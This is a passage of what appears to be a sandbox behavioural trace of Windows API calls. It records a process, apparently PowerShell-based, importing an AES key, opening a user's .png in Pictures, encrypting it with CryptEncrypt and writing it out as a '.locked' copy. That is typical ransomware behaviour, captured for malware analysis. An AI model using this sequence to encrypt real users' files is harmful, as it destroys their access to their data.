(in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.984] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.984] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.984] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.985] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e021c8) returned 1 [0135.985] CryptImportKey (in: hProv=0x8e021c8, pbData=0x6abfa28, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e85138) returned 1 [0135.985] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.985] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.985] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.985] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.985] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.991] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png")) returned 0x20 [0135.991] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png")) returned 0x20 [0135.991] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0135.991] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0135.991] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.991] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0135.991] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0135.992] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.992] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.992] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.992] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.992] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0135.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.992] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0135.993] GetFileType (hFile=0x79c) returned 0x1 [0135.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.993] GetFileType (hFile=0x79c) returned 0x1 [0135.993] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.993] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.993] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.993] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.993] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.993] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked", lpFilePart=0x0) returned 0x64 [0135.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.993] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.995] GetFileType (hFile=0x858) returned 0x1 [0135.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.995] GetFileType (hFile=0x858) returned 0x1 [0135.995] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.995] CryptGenRandom (in: hProv=0x8e021c8, dwLen=0x10, pbBuffer=0x6adc150 | out: pbBuffer=0x6adc150) returned 1 [0135.996] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.996] CryptDuplicateKey (in: hKey=0x8e85138, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e849f8) returned 1 [0135.996] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.996] CryptSetKeyParam (hKey=0x8e849f8, dwParam=0x4, pbData=0x6add40c*=0x1, dwFlags=0x0) returned 1 [0135.996] CryptSetKeyParam (hKey=0x8e849f8, dwParam=0x1, pbData=0x6add3d8, dwFlags=0x0) returned 1 [0135.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xef70\x437\x242") returned 0x0 [0135.996] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.996] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.996] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.997] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.997] ReadFile (in: hFile=0x79c, lpBuffer=0x6ae0968, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ae0968*, lpNumberOfBytesRead=0x99ae7a8*=0x9801, lpOverlapped=0x0) returned 1 [0135.997] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6af4974*, pdwDataLen=0x99ae79c*=0x9800, dwBufLen=0x9800 | out: pbData=0x6af4974*, pdwDataLen=0x99ae79c*=0x9800) returned 1 [0135.997] WriteFile (in: hFile=0x858, lpBuffer=0x6adc210*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6adc210*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.998] WriteFile (in: hFile=0x858, lpBuffer=0x6af5960*, nNumberOfBytesToWrite=0x8814, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6af5960*, lpNumberOfBytesWritten=0x99ae780*=0x8814, lpOverlapped=0x0) returned 1 [0135.999] ReadFile (in: hFile=0x79c, lpBuffer=0x6ae0968, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ae0968*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.999] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6afe198*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6afe198*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.999] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6afe1cc*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6afe1cc*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.999] WriteFile (in: hFile=0x858, lpBuffer=0x6adc210*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6adc210*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.999] CloseHandle (hObject=0x858) returned 1 [0136.001] CloseHandle (hObject=0x79c) returned 1 [0136.001] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.001] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.001] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.001] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.001] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.003] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png")) returned 0x20 [0136.003] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.003] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.003] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.003] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.004] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.004] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.004] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.004] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.004] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.004] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.004] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.005] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.005] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.005] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.005] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.005] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u")) returned 0x10 [0136.005] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u")) returned 0x10 [0136.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: 